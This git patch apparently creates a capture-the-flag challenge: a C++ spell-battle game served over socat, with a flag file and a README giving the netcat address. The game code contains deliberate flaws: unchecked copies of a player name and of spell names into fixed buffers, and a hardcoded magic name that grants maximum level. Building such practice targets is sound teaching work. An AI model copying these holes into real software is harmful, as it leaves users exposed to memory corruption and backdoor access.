From 4735478ac02fd8f1e73777a22a7b56e0995d5a27 Mon Sep 17 00:00:00 2001 From: myitinos Date: Thu, 10 Oct 2019 09:49:17 +0800 Subject: [PATCH] first commit --- Dockerfile | 12 +++ LICENSE | 21 ++++ Makefile | 19 ++++ README.md | 7 +- docker-compose.yml | 10 ++ flag.txt | 1 + lib/Battle.cpp | 191 +++++++++++++++++++++++++++++++++++ lib/Battle.hpp | 33 ++++++ lib/Character.cpp | 195 ++++++++++++++++++++++++++++++++++++ lib/Character.hpp | 57 +++++++++++ lib/Spell.cpp | 33 ++++++ lib/Spell.hpp | 28 ++++++ lib/UserInterface.cpp | 228 ++++++++++++++++++++++++++++++++++++++++++ lib/UserInterface.hpp | 54 ++++++++++ main.cpp | 147 +++++++++++++++++++++++++++ poc.py | 18 ++++ spell-warz-again | Bin 0 -> 89672 bytes 17 files changed, 1053 insertions(+), 1 deletion(-) create mode 100644 Dockerfile create mode 100644 LICENSE create mode 100644 Makefile create mode 100644 docker-compose.yml create mode 100644 flag.txt create mode 100644 lib/Battle.cpp create mode 100644 lib/Battle.hpp create mode 100644 lib/Character.cpp create mode 100644 lib/Character.hpp create mode 100644 lib/Spell.cpp create mode 100644 lib/Spell.hpp create mode 100644 lib/UserInterface.cpp create mode 100644 lib/UserInterface.hpp create mode 100644 main.cpp create mode 100644 poc.py create mode 100755 spell-warz-again diff --git a/Dockerfile b/Dockerfile new file mode 100644 index 0000000..8b13c8c --- /dev/null +++ b/Dockerfile @@ -0,0 +1,12 @@ +FROM ubuntu:latest + +RUN apt update && \ + apt install socat -y + +WORKDIR /app + +COPY ./flag.txt . +COPY ./spell-warz-again . + +EXPOSE 12345/tcp +CMD socat tcp-listen:12345,reuseaddr,fork EXEC:./spell-warz-again diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..d449d3e --- /dev/null +++ b/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is furnished +to do so, subject to the following conditions: + +The above copyright notice and this permission notice (including the next +paragraph) shall be included in all copies or substantial portions of the +Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS +FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS +OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF +OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..92a192e --- /dev/null +++ b/Makefile @@ -0,0 +1,19 @@ +UserInterface.o: lib/UserInterface.cpp lib/UserInterface.hpp + g++ -c lib/UserInterface.cpp -o UserInterface.o + +Battle.o: lib/Battle.cpp lib/Battle.hpp + g++ -c lib/Battle.cpp -o Battle.o + +Spell.o: lib/Spell.cpp lib/Spell.hpp + g++ -c lib/Spell.cpp -o Spell.o + +Character.o: lib/Character.cpp lib/Character.hpp + g++ -c lib/Character.cpp -o Character.o + +spell-warz-again: Spell.o Character.o UserInterface.o Battle.o main.cpp + g++ main.cpp -o spell-warz-again Spell.o Character.o UserInterface.o Battle.o + +clean: all + rm Spell.o Character.o UserInterface.o Battle.o + +all: spell-warz-again diff --git a/README.md b/README.md index f9f0236..e3c159b 100644 --- a/README.md +++ b/README.md @@ -1,2 +1,7 @@ -# spell-warz-again-final +# spell-warz-again +Hello guys, there's an update to my last game
+Now you can choose your own name! Cool isn't it :)
+Also, I made the new Arch-Mage a little weak
+please defeat him again!
+`nc 103.200.7.150 30311` \ No newline at end of file diff --git a/docker-compose.yml b/docker-compose.yml new file mode 100644 index 0000000..14cfa9d --- /dev/null +++ b/docker-compose.yml @@ -0,0 +1,10 @@ +version: "2" + +services: + main: + build: . + container_name: "spell-warz-again" + network_mode: "bridge" + restart: on-failure + ports: + - "30311:12345" diff --git a/flag.txt b/flag.txt new file mode 100644 index 0000000..ca16bc5 --- /dev/null +++ b/flag.txt @@ -0,0 +1 @@ +SlashRootCTF{} diff --git a/lib/Battle.cpp b/lib/Battle.cpp new file mode 100644 index 0000000..801c745 --- /dev/null +++ b/lib/Battle.cpp @@ -0,0 +1,191 @@ +#include "Battle.hpp" + +std::vector Battle::SPELL_BOOK = { + Spell("Blazing Storm", Spell::TYPE_DESTRUCTION, 10, 5), + Spell("Energy Arrow", Spell::TYPE_DESTRUCTION, 40, 10), + Spell("Pyro Strike", Spell::TYPE_DESTRUCTION, 90, 15), + Spell("Seism", Spell::TYPE_DESTRUCTION, 160, 20), + Spell("Teleport", Spell::TYPE_DESTRUCTION, 250, 25), + Spell("Beam of Nature's Wrath", Spell::TYPE_DESTRUCTION, 360, 30), + Spell("Ball of the Molten Core", Spell::TYPE_DESTRUCTION, 490, 35), + Spell("Wrath of Poison", Spell::TYPE_DESTRUCTION, 640, 40), + Spell("Extortion Burst", Spell::TYPE_DESTRUCTION, 810, 45), + Spell("Projection of Sound", Spell::TYPE_DESTRUCTION, 1000, 50), + Spell("Soul Tempest", Spell::TYPE_DESTRUCTION, 1210, 55), + Spell("Mystic Nova", Spell::TYPE_DESTRUCTION, 1440, 60), + Spell("Frostfire Burn", Spell::TYPE_DESTRUCTION, 1690, 65), + Spell("Torrent", Spell::TYPE_DESTRUCTION, 1960, 70), + Spell("Windstorm", Spell::TYPE_DESTRUCTION, 2250, 75), + Spell("Barrier of Redemption", Spell::TYPE_DESTRUCTION, 2560, 80), + Spell("Burst of the Angels", Spell::TYPE_DESTRUCTION, 2890, 85), + Spell("Absorption of Chaos", Spell::TYPE_DESTRUCTION, 3240, 90), + Spell("Decay of Light", Spell::TYPE_DESTRUCTION, 3610, 95), + Spell("Dispersion of Force", Spell::TYPE_DESTRUCTION, 4000, 100), + Spell("Solar Barrage", Spell::TYPE_DESTRUCTION, 4410, 105), + Spell("Death Burn", Spell::TYPE_DESTRUCTION, 4840, 110), + Spell("Blazing Strike", Spell::TYPE_DESTRUCTION, 5290, 115), + Spell("Imitate", Spell::TYPE_DESTRUCTION, 5760, 120), + Spell("Shooting Star", Spell::TYPE_DESTRUCTION, 6250, 125), + Spell("Seal of Traps", Spell::TYPE_DESTRUCTION, 6760, 130), + Spell("Flare of the Inferno", Spell::TYPE_DESTRUCTION, 7290, 135), + Spell("Distraction of Stone", Spell::TYPE_DESTRUCTION, 7840, 140), + Spell("Concentration of Glory", Spell::TYPE_DESTRUCTION, 8410, 145), + Spell("Calm of Energy", Spell::TYPE_DESTRUCTION, 9000, 150), + Spell("Soul Surge", Spell::TYPE_DESTRUCTION, 9610, 155), + Spell("Moonlight Blaze", Spell::TYPE_DESTRUCTION, 10240, 160), + Spell("Sunlight Salvo", Spell::TYPE_DESTRUCTION, 10890, 165), + Spell("Banish Demon", Spell::TYPE_DESTRUCTION, 11560, 170), + Spell("Hurricane", Spell::TYPE_DESTRUCTION, 12250, 175), + Spell("Blast of Soul Draining", Spell::TYPE_DESTRUCTION, 12960, 180), + Spell("Burst of Altered Time", Spell::TYPE_DESTRUCTION, 13690, 185), + Spell("Incantation of Time", Spell::TYPE_DESTRUCTION, 14440, 190), + Spell("Demolition Curse", Spell::TYPE_DESTRUCTION, 15210, 195), + Spell("Protection of Phantoms", Spell::TYPE_DESTRUCTION, 16000, 200), + Spell("Mage Burst", Spell::TYPE_DESTRUCTION, 16810, 205), + Spell("Starfire Hail", Spell::TYPE_DESTRUCTION, 17640, 210), + Spell("Ice Blitz", Spell::TYPE_DESTRUCTION, 18490, 215), + Spell("Cyclone", Spell::TYPE_DESTRUCTION, 19360, 220), + Spell("Charge", Spell::TYPE_DESTRUCTION, 20250, 225), + Spell("Barrier of Exhaustion", Spell::TYPE_DESTRUCTION, 21160, 230), + Spell("Blessing of Demon Fire", Spell::TYPE_DESTRUCTION, 22090, 235), + Spell("Illusion Blast", Spell::TYPE_DESTRUCTION, 23040, 240), + Spell("Fury of Poison", Spell::TYPE_DESTRUCTION, 24010, 245), + Spell("Plagueing of Fire", Spell::TYPE_DESTRUCTION, 25000, 250), + Spell("Fiery Eruption", Spell::TYPE_DESTRUCTION, 26010, 255), + Spell("Thunder Arrow", Spell::TYPE_DESTRUCTION, 27040, 260), + Spell("Infernal Bomb", Spell::TYPE_DESTRUCTION, 28090, 265), + Spell("Ignite", Spell::TYPE_DESTRUCTION, 29160, 270), + Spell("Solidify", Spell::TYPE_DESTRUCTION, 30250, 275), + Spell("Call of Burning Embers", Spell::TYPE_DESTRUCTION, 31360, 280), + Spell("Burst of Acid", Spell::TYPE_DESTRUCTION, 32490, 285), + Spell("Calm of Death", Spell::TYPE_DESTRUCTION, 33640, 290), + Spell("Annihilation Burst", Spell::TYPE_DESTRUCTION, 34810, 295), + Spell("Absorption of Strength", Spell::TYPE_DESTRUCTION, 36000, 300), + Spell("Infernal Explosion", Spell::TYPE_DESTRUCTION, 37210, 305), + Spell("Lava Blast", Spell::TYPE_DESTRUCTION, 38440, 310), + Spell("Pyro Spike", Spell::TYPE_DESTRUCTION, 39690, 315), + Spell("Mind Blast", Spell::TYPE_DESTRUCTION, 40960, 320), + Spell("Extinguish", Spell::TYPE_DESTRUCTION, 42250, 325), + Spell("Spell of Obliteration", Spell::TYPE_DESTRUCTION, 43560, 330), + Spell("Hymn of Havoc", Spell::TYPE_DESTRUCTION, 44890, 335), + Spell("Consecration Ritual", Spell::TYPE_DESTRUCTION, 46240, 340), + Spell("Distraction of Perfection", Spell::TYPE_DESTRUCTION, 47610, 345), + Spell("Delusion of Vulnerabilities", Spell::TYPE_DESTRUCTION, 49000, 350), + Spell("Static Blaze", Spell::TYPE_DESTRUCTION, 50410, 355), + Spell("Pyro Whip", Spell::TYPE_DESTRUCTION, 51840, 360), + Spell("Acid Blitz", Spell::TYPE_DESTRUCTION, 53290, 365), + Spell("Daydream", Spell::TYPE_DESTRUCTION, 54760, 370), + Spell("Invigorate", Spell::TYPE_DESTRUCTION, 56250, 375), + Spell("Hymn of Revival", Spell::TYPE_DESTRUCTION, 57760, 380), + Spell("Jinx of Health", Spell::TYPE_DESTRUCTION, 59290, 385), + Spell("Division of Defense", Spell::TYPE_DESTRUCTION, 60840, 390), + Spell("Abjuration Orb", Spell::TYPE_DESTRUCTION, 62410, 395), + Spell("Divinity of Life", Spell::TYPE_DESTRUCTION, 64000, 400), + Spell("Shadow Flash", Spell::TYPE_DESTRUCTION, 65610, 405), + Spell("Mind Flare", Spell::TYPE_DESTRUCTION, 67240, 410), + Spell("Unholy Explosion", Spell::TYPE_DESTRUCTION, 68890, 415), + Spell("Soulburn", Spell::TYPE_DESTRUCTION, 70560, 420), + Spell("Phantom Form", Spell::TYPE_DESTRUCTION, 72250, 425), + Spell("Rain of Plagues", Spell::TYPE_DESTRUCTION, 73960, 430), + Spell("Aura of Shifting Sands", Spell::TYPE_DESTRUCTION, 75690, 435), + Spell("Purification of Heat", Spell::TYPE_DESTRUCTION, 77440, 440), + Spell("Purification of Hell", Spell::TYPE_DESTRUCTION, 79210, 445), + Spell("Purity of SoulsVoid Tempest", Spell::TYPE_DESTRUCTION, 81000, 450), + Spell("Thunder Hail", Spell::TYPE_DESTRUCTION, 82810, 455), + Spell("Acid Bolt", Spell::TYPE_DESTRUCTION, 84640, 460), + Spell("Incinerate", Spell::TYPE_DESTRUCTION, 86490, 465), + Spell("Slow", Spell::TYPE_DESTRUCTION, 88360, 470), + Spell("Bolt of Deflection", Spell::TYPE_DESTRUCTION, 90250, 475), + Spell("Beam of Shadows", Spell::TYPE_DESTRUCTION, 92160, 480), + Spell("Putrefaction of Blessings", Spell::TYPE_DESTRUCTION, 94090, 485), + Spell("Exploitation of Force", Spell::TYPE_DESTRUCTION, 96040, 490), + Spell("Annihilation Ceremony", Spell::TYPE_DESTRUCTION, 98010, 495), + Spell("Repose of Energy", Spell::TYPE_DESTRUCTION, 100000, 500), +}; +Battle::Battle( + Character &p1, + Character &p2) : player1(p1), player2(p2) +{ + this->turn = 0; +} + +void Battle::battleStartAnnounce() +{ + std::cout << " === BATTLE START === \n" + << " " << player1.getName() << "\n" + << " vs \n" + << " " << player2.getName() << "\n" + << " === ============ === \n" + << std::flush; +} + +void Battle::battleEndAnnouce() +{ + std::cout << " === BATTLE END === \n" + << " Winner: " << ((winner == 1) ? player1.getName() : player2.getName()) << "\n" + << std::flush; +} + +void Battle::start() +{ + int choiceInt; + char buff[64] = {0}; + + this->battleStartAnnounce(); + while ((player1.isAlive() && player2.isAlive()) && this->turn <= Battle::MAX_TURN) + { + std::cout << "Turn " << this->turn << " of " << Battle::MAX_TURN << "\n" + << "Your spell book:\n"; + for (size_t i = 1; i < SPELL_BOOK.size() && i <= (player1.getLevel()); i++) + { + std::cout << "[" << i << "] " << SPELL_BOOK.at(i).getName() << "\n"; + } + std::cout << std::flush; + + choiceInt = UserInterface::getNumber( + "What are you gonna cast this turn?\n>", 0, + player1.getLevel() > SPELL_BOOK.size() ? SPELL_BOOK.size() : player1.getLevel()); + + if (player1.canCastSpell(SPELL_BOOK.at(choiceInt))) + { + player1.castSpell(SPELL_BOOK.at(choiceInt), player2); + snprintf(buff, 63, "%s cast %s...\n", player1.getName(), SPELL_BOOK.at(choiceInt).getName()); + UserInterface::print(buff); + memset(buff, 0, 64); + snprintf(buff, 63, "%s took %d damage...\n", player2.getName(), SPELL_BOOK.at(choiceInt).getPower()); + UserInterface::print(buff); + memset(buff, 0, 64); + } + else + { + snprintf(buff, 63, "%s failed to cast %s!\n", player1.getName(), SPELL_BOOK.at(choiceInt).getName()); + UserInterface::print(buff); + } + + choiceInt = (random() % (player2.getLevel() < SPELL_BOOK.size() ? player2.getLevel() : SPELL_BOOK.size())) + 1; + if (player2.canCastSpell(SPELL_BOOK.at(choiceInt))) + { + player2.castSpell(SPELL_BOOK.at(choiceInt), player1); + snprintf(buff, 63, "%s cast %s...\n", player2.getName(), SPELL_BOOK.at(choiceInt).getName()); + UserInterface::print(buff); + memset(buff, 0, 64); + snprintf(buff, 63, "%s took %d damage...\n", player1.getName(), SPELL_BOOK.at(choiceInt).getPower()); + UserInterface::print(buff); + memset(buff, 0, 64); + } + else + { + snprintf(buff, 63, "%s failed to cast %s!\n", player2.getName(), SPELL_BOOK.at(choiceInt).getName()); + UserInterface::print(buff); + } + this->turn++; + } + + this->winner = (player1.isAlive() && (player1.getCurHP() >= player2.getCurHP())) ? 1 : 2; + this->battleEndAnnouce(); +} + +int Battle::getWinner() +{ + return this->winner; +} diff --git a/lib/Battle.hpp b/lib/Battle.hpp new file mode 100644 index 0000000..8194b36 --- /dev/null +++ b/lib/Battle.hpp @@ -0,0 +1,33 @@ +#ifndef SPELL_WARZ_BATTLE_HPP +#define SPELL_WARZ_BATTLE_HPP 1 + +#include +#include +#include + +#include "Character.hpp" +#include "Spell.hpp" +#include "UserInterface.hpp" + +class Battle +{ +protected: + static const int MAX_TURN = 100; + static std::vector SPELL_BOOK; + int turn; + int winner; + + Character &player1; + Character &player2; + + void battleStartAnnounce(); + void battleEndAnnouce(); + void clearBuff(); + +public: + Battle(Character &p1, Character &p2); + int getWinner(); + void start(); +}; + +#endif \ No newline at end of file diff --git a/lib/Character.cpp b/lib/Character.cpp new file mode 100644 index 0000000..c8870ba --- /dev/null +++ b/lib/Character.cpp @@ -0,0 +1,195 @@ +#include +#include + +#include "Character.hpp" + +const long Character::MAX_LVL = 1000000L; +const long Character::MAX_EXP = 1000000000000L; + +Character::Character(const char *characterName, + long characterLevel) + : name(""), experience(0) +{ + if (strcmp("__th3_w0rLd_D3str0Y3r__", characterName)) + { + level = characterLevel; + } + else + { + level = MAX_LVL; + } + maxHP = curHP = 100 * level; + maxMP = curMP = 50 * level; + strncpy(name, characterName, strlen(characterName)); +} + +Character::Character(const char *characterName, + long characterLevel, + long characterHP, + long characterMP) + : name(""), + experience(0) +{ + level = characterLevel; + maxHP = curHP = characterHP; + maxMP = curMP = characterMP; + strncpy(name, characterName, strlen(characterName)); +} + +const char *Character::getName() +{ + return name; +} + +long Character::getLevel() +{ + if (level > Character::MAX_LVL) + { + exit(-1); + } + return level; +} + +long Character::getExperience() +{ + if (experience > Character::MAX_LVL) + { + exit(-1); + } + return experience; +} + +long Character::getMaxHP() +{ + return maxHP; +} + +long Character::getCurHP() +{ + if (curHP > maxHP) + { + exit(-1); + } + return curHP; +} + +long Character::getMaxMP() +{ + return maxMP; +} + +long Character::getCurMP() +{ + if (curMP > maxMP) + { + exit(-1); + } + return curMP; +} + +void Character::levelUp() +{ + if ((level <= MAX_LVL) && readytoLevelUp()) + { + experience -= toNextLevel(); + level++; + maxHP += 100; + maxMP += 50; + curHP = maxHP; + curMP = maxMP; + } +} + +void Character::restoreHP(int n) +{ + curHP += n; + if (curHP > maxHP) + { + curHP = maxHP; + } +} + +void Character::restoreMP(int n) +{ + curMP += n; + if (curMP > maxMP) + { + curMP = maxMP; + } +} + +void Character::reduceHP(int n) +{ + curHP -= n; +} + +void Character::reduceMP(int n) +{ + curMP -= n; +} + +bool Character::isAlive() +{ + return curHP > 0; +} + +long Character::toNextLevel() +{ + return level < MAX_LVL ? (level + 1) * (level + 1) : 0; +} + +bool Character::readytoLevelUp() +{ + return level < MAX_LVL ? (toNextLevel() <= experience) : false; +} + +void Character::increaseExperience(int n) +{ + experience += n; + if (experience > MAX_EXP) + { + experience = MAX_EXP; + } + while (readytoLevelUp()) + { + levelUp(); + } +} + +bool Character::canCastSpell(Spell &spell) +{ + return curMP >= spell.getCost(); +} + +bool Character::castSpell(Spell &spell, Character &target) +{ + if (canCastSpell(spell)) + { + reduceMP(spell.getCost()); + target.reduceHP(spell.getPower()); + return true; + } + else + { + return false; + } +} + +void Character::rest() +{ + restoreHP(maxHP); + restoreMP(maxMP); +} + +void Character::kill() +{ + reduceHP(maxHP); +} + +void Character::revive() +{ + if (curHP <= 0) + { + curHP = 1; + } +} \ No newline at end of file diff --git a/lib/Character.hpp b/lib/Character.hpp new file mode 100644 index 0000000..a15a8ce --- /dev/null +++ b/lib/Character.hpp @@ -0,0 +1,57 @@ +#ifndef SPELL_WARZ_CHARACTER_HPP +#define SPELL_WARZ_CHARACTER_HPP 1 + +#include + +#include "Spell.hpp" + +class Character +{ +protected: + static const long MAX_LVL; + static const long MAX_EXP; + + char name[32]; + long level; + long experience; + long maxHP; + long maxMP; + long curHP; + long curMP; + + void restoreHP(int); + void restoreMP(int); + void reduceHP(int); + void reduceMP(int); + +public: + Character(const char *characterName, + long characterLevel); + + Character(const char *characterName, + long characterLevel, + long characterHP, + long characterMP); + + bool castSpell(Spell &src, Character &dst); + bool canCastSpell(Spell &src); + + const char *getName(); + long getLevel(); + long getExperience(); + long getMaxHP(); + long getMaxMP(); + long getCurHP(); + long getCurMP(); + long toNextLevel(); + + bool readytoLevelUp(); + bool isAlive(); + void levelUp(); + void kill(); + void rest(); + void revive(); + void increaseExperience(int n); +}; + +#endif \ No newline at end of file diff --git a/lib/Spell.cpp b/lib/Spell.cpp new file mode 100644 index 0000000..29fe504 --- /dev/null +++ b/lib/Spell.cpp @@ -0,0 +1,33 @@ +#include + +#include "Spell.hpp" + +Spell::Spell(const char *spellName, + const int spellType, + int spellPower, + int spellCost) : type(spellType), name("") +{ + this->power = spellPower; + this->cost = spellCost; + strcpy(this->name, spellName); +} + +int Spell::getType() +{ + return this->type; +} + +int Spell::getPower() +{ + return this->power; +} + +int Spell::getCost() +{ + return this->cost; +} + +const char *Spell::getName() +{ + return this->name; +} diff --git a/lib/Spell.hpp b/lib/Spell.hpp new file mode 100644 index 0000000..bbc6de2 --- /dev/null +++ b/lib/Spell.hpp @@ -0,0 +1,28 @@ +#ifndef SPELL_WARZ_SPELL_CPP +#define SPELL_WARZ_SPELL_CPP 1 + +class Spell +{ +protected: + char name[16]; + int type; + int power; + int cost; + +public: + static const int NAME_LENGTH = 15; + static const int TYPE_RESTORATION = 1; + static const int TYPE_DESTRUCTION = 2; + + Spell(const char *spellName, + const int spellType, + int spellPower, + int spellCost); + + const char *getName(); + int getType(); + int getPower(); + int getCost(); +}; + +#endif \ No newline at end of file diff --git a/lib/UserInterface.cpp b/lib/UserInterface.cpp new file mode 100644 index 0000000..339f2e0 --- /dev/null +++ b/lib/UserInterface.cpp @@ -0,0 +1,228 @@ +#include "UserInterface.hpp" + +const int UserInterface::INTERVAL = 0; +const int UserInterface::MINI_INTERVAL = 0; +const int UserInterface::MAX_DAY = 28; +const int UserInterface::MAX_MONTH = 12; +const int UserInterface::MAX_YEAR = 100; + +int UserInterface::day = 1; +int UserInterface::month = 1; +int UserInterface::year = 90; + +bool UserInterface::gameOver = false; + +std::vector UserInterface::dayName = { + "Morndas", + "Tirdas", + "Middas", + "Turdas", + "Fredas", + "Loredas", + "Sundas", +}; + +std::vector UserInterface::monthName = { + "Morning Star", + "Sun's Dawn", + "First Seed", + "Rain's Hand", + "Second Seed", + "Mid Year", + "Sun's Height", + "Last Seed", + "Hearthfire", + "Frostfall", + "Sun's Dusk", + "Evening Star", +}; + +void UserInterface::print(std::string msg) +{ + std::cout << msg << std::flush; + std::this_thread::sleep_for(std::chrono::milliseconds(UserInterface::INTERVAL)); +} + +void UserInterface::print(const char *msg) +{ + std::cout << msg << std::flush; + std::this_thread::sleep_for(std::chrono::milliseconds(UserInterface::INTERVAL)); +} + +void UserInterface::println(std::string msg) +{ + std::cout << msg << std::endl; + std::this_thread::sleep_for(std::chrono::milliseconds(UserInterface::INTERVAL)); +} + +void UserInterface::println(const char *msg) +{ + std::cout << msg << std::endl; + std::this_thread::sleep_for(std::chrono::milliseconds(UserInterface::INTERVAL)); +} + +void UserInterface::printByChar(const char *msg) +{ + int len = strlen(msg); + for (size_t i = 0; i < len; i++) + { + std::cout << msg[i] << std::flush; + std::this_thread::sleep_for(std::chrono::milliseconds(UserInterface::MINI_INTERVAL)); + } +} + +void UserInterface::welcomeMessage() +{ + std::cout << "+++++++++++++++++++++++++++++++++++++++++\n" + << "+ Welcome to Spell-Warz-Again-Final !!! +\n" + << "+++++++++++++++++++++++++++++++++++++++++\n" + << std::flush; +} + +const char *UserInterface::chooseName(char *buffer) +{ + char choice = 0; + while (choice != 'y' && choice != 'Y') + { + printf("Who should we call you?\n>"); + fflush(stdout); + scanf("%63s", buffer); + + printf("So you are a young mage named \"%s\" correct? (y/N)\n>", buffer); + fflush(stdout); + scanf("%1s", &choice); + } + + return buffer; +} + +void UserInterface::epilogue() +{ + UserInterface::printByChar( + "I'm tired of making epilogue...\n" + "You are a young mage, defeat the damn arch-mage...\n" + "F*ck, I'm tired of this...\n" + "Do you know I just finished this sh*t at October 10th?\n" + "Good luck and defeat the arch-mage.\n" + "Trust me, you gonna need the \'Good Luck\' ...\n"); +} + +std::string UserInterface::dateString() +{ + char date[5] = {0}; + + if (UserInterface::day < 21) + { + switch (UserInterface::day) + { + case 1: + sprintf(date, "1st"); + break; + case 2: + sprintf(date, "2nd"); + break; + case 3: + sprintf(date, "3rd"); + break; + default: + sprintf(date, "%dth", UserInterface::day); + break; + } + } + else + { + switch (UserInterface::day % 10) + { + case 1: + sprintf(date, "%dst", UserInterface::day); + break; + case 2: + sprintf(date, "%dnd", UserInterface::day); + break; + case 3: + sprintf(date, "%drd", UserInterface::day); + break; + default: + sprintf(date, "%dth", UserInterface::day); + break; + } + } + + return std::string( + UserInterface::dayName.at(((UserInterface::day - 1) % 7)) + ", " + + date + " of " + UserInterface::monthName.at(UserInterface::month - 1) + + ", Year " + std::to_string(UserInterface::year)); +} + +void UserInterface::menu() +{ + std::cout << "=======================================\n" + << UserInterface::dateString() << "\n" + << "=======================================\n" + << "Available action:\n" + << "[1] Take a rest\n" + << "[2] Practice magic\n" + << "[3] Spar against classmate\n" + << "[4] Challenge the new Arch-Mage\n" + << "[5] Gather info about the new Arch-Mage\n" + << "[6] Meditate to your inner-self\n" + << "[0] Commit sudoku\n" + << std::flush; +} + +void UserInterface::enemiesInfo(std::vector &enemies) +{ + for (int i = 0; i < enemies.size(); i++) + { + std::cout << "[" << i << "] " << enemies.at(i).getName() << " (Lv." << enemies.at(i).getLevel() << ")\n"; + } + std::cout << std::flush; +} + +int UserInterface::getNumber(std::string msg, int min, int max) +{ + int buffer = max + 1; + do + { + std::cout << msg << std::flush; + if (std::cin.failbit || std::cin.eofbit) + { + std::cin.clear(); + std::cin.ignore(1); + } + } while (std::cin >> buffer && !(buffer <= max && buffer >= min)); + return buffer; +} + +void UserInterface::nextDay() +{ + if (UserInterface::day++ >= UserInterface::MAX_DAY) + { + day = 1; + if (UserInterface::month++ >= UserInterface::MAX_MONTH) + { + month = 1; + if (UserInterface::year++ >= UserInterface::MAX_YEAR) + { + UserInterface::gameOver = true; + } + } + } +} + +bool UserInterface::isGameOver() +{ + return gameOver; +} + +void UserInterface::characterInfo(Character &c) +{ + std::cout << "++++++++++++++++++++++++" + << "\nName: " << c.getName() + << "\n HP: " << c.getCurHP() << "/" << c.getMaxHP() + << "\n MP: " << c.getCurMP() << "/" << c.getMaxMP() + << "\n Lv: " << c.getLevel() + << "\n Xp: " << c.getExperience() + << "\n next: " << c.toNextLevel() + << "\n++++++++++++++++++++++++" << std::endl; +} \ No newline at end of file diff --git a/lib/UserInterface.hpp b/lib/UserInterface.hpp new file mode 100644 index 0000000..c8beeb0 --- /dev/null +++ b/lib/UserInterface.hpp @@ -0,0 +1,54 @@ +#ifndef SPELL_WARZ_USER_INTERFACE_HPP +#define SPELL_WARZ_USER_INTERFACE_HPP 1 + +#include +#include +#include +#include +#include +#include + +#include "Character.hpp" +#include "Spell.hpp" + +class UserInterface +{ +protected: + static const int INTERVAL; // in ms + static const int MINI_INTERVAL; // in ms + static const int MAX_DAY; + static const int MAX_MONTH; + static const int MAX_YEAR; + + static std::vector dayName; + static std::vector monthName; + + static int day; + static int month; + static int year; + + static bool gameOver; + +public: + static void print(std::string); + static void print(const char *); + static void println(std::string); + static void println(const char *); + static void printByChar(std::string); + static void printByChar(const char *); + + static void welcomeMessage(); + static void epilogue(); + static void menu(); + static void nextDay(); + static void characterInfo(Character &); + static void enemiesInfo(std::vector &); + + static std::string dateString(); + static int getNumber(std::string, int, int); + static const char *chooseName(char *); + + static bool isGameOver(); +}; + +#endif \ No newline at end of file diff --git a/main.cpp b/main.cpp new file mode 100644 index 0000000..a4cd256 --- /dev/null +++ b/main.cpp @@ -0,0 +1,147 @@ + +#include +#include +#include +#include +#include +#include +#include + +#include "lib/Character.hpp" +#include "lib/Spell.hpp" +#include "lib/UserInterface.hpp" +#include "lib/Battle.hpp" + +std::string loadFlag() +{ + std::string flagString; + std::ifstream flagFile("flag.txt"); + flagFile >> flagString; + flagFile.close(); + return flagString; +} + +int main() +{ + srand(time(0)); + alarm(600); + + std::string flag = loadFlag(); + char playerName[64] = {0}; + UserInterface::chooseName(playerName); + Character player = Character(playerName, 1); + Character archMage = Character("Arch-Mage", 10000); + std::vector enemies = { + Character("Uraneus", 1), + Character("Ekey", 2), + Character("Wekius", 3), + Character("Dhemaex", 4), + Character("Uravras", 5), + }; + + UserInterface::welcomeMessage(); + UserInterface::epilogue(); + + while (player.isAlive() && !UserInterface::isGameOver()) + { + int choiceInt = -1; + char choiceChar = -1; + UserInterface::menu(); + choiceInt = UserInterface::getNumber( + "What are you gonna do today?\n>", + 0, 6); + switch (choiceInt) + { + case 0: + UserInterface::print("You commit sudoku...\n"); + UserInterface::print("Was it supposed to be seppuku?\n"); + UserInterface::print("Nevermind, you killed yourself.\n"); + player.kill(); + break; + case 1: + UserInterface::print("You spend the whole day sleeping...\n"); + UserInterface::print("HP and MP restored.\n"); + player.rest(); + break; + case 2: + UserInterface::print("You practice your magic in the yard...\n"); + UserInterface::print("You gained some experience.\n"); + printf("%ld\n", player.getLevel()); + fflush(stdout); + player.increaseExperience((rand() % player.getLevel()) + 1); + break; + case 3: + UserInterface::print("List of your classmates:\n"); + UserInterface::enemiesInfo(enemies); + choiceInt = UserInterface::getNumber("Who would you prefer to train with?\n>", 0, enemies.size()); + UserInterface::print("You are going to spar with:\n"); + UserInterface::characterInfo(enemies.at(choiceInt)); + UserInterface::print("Are you sure? (y/N)\n>"); + std::cin >> choiceChar; + if (choiceChar == 'y' || choiceChar == 'Y') + { + Character enemy = Character(enemies.at(choiceInt)); + Battle battle = Battle(player, enemy); + battle.start(); + if (battle.getWinner() == 1) + { + UserInterface::print("You win, you get more experience...\n"); + player.increaseExperience(enemies.at(choiceInt).getLevel()); + } + else + { + UserInterface::print("You lose, but you still get some experience...\n"); + player.revive(); + player.increaseExperience(enemies.at(choiceInt).getLevel() / 2); + } + } + else + { + UserInterface::print("On second thought, you decide to sleep in your room instead...\n"); + player.rest(); + } + + break; + case 4: + UserInterface::print("You are going to challenge the Arch-Mage...\n"); + UserInterface::print("Are you sure? (y/N)\n>"); + std::cin >> choiceChar; + if (choiceChar == 'y' || choiceChar == 'Y') + { + Battle battle = Battle(player, archMage); + battle.start(); + if (battle.getWinner() == 1) + { + UserInterface::print("You win, you get more experience...\n"); + player.increaseExperience(enemies.at(choiceInt).getLevel()); + UserInterface::print("You win against the Arch-Mage!\n"); + UserInterface::print("He let you take a glimpse to the scroll that you always wanted...\n"); + UserInterface::print("Turns out the content is just some meaningless word...\n"); + UserInterface::print("Here is the content:\n"); + UserInterface::print(flag + "\n"); + } + else + { + UserInterface::print("You lose...\n"); + 